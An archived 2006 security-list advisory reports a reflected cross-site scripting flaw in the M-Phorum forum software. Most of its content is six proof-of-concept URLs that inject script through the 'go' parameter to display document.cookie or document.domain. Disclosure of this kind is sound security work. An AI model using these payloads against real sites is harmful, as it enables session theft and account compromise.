OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
M-Phorum Cross Site Scripting

codexploderhotmail.com
Date: Thu Mar 09 2006 - 07:40:12 CST

-------------------------------------------------------------------------------------
M-Phorum Cross Site Scripting

Site:http://m-phorum.sourceforge.net/site/

Credit : CodeXpLoder'tq
webpage:www.biyosecurity.com
Mail :codexploderlinuxmail.org

-------------------------------------------------------------------------------------
M-Phorum

http://victim/path/index.php?go="><script>alert(document.cookie)</script>
http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script>
http://victim/path/index.php?go="><script>alert(document.domain)</script>

http://victim/path/?go="><script>alert(document.cookie)</script>
http://victim/path/?go="><script>alert(/BiyoSecurityTeam/)</script>
http://victim/path/?go="><script>alert(document.domain)</script>

-------------------------------------------------------------------------------------

Source:

http://www.blogcu.com/Liz0ziM/338295

http://biyosecurity.be/bugs/mphorum.txt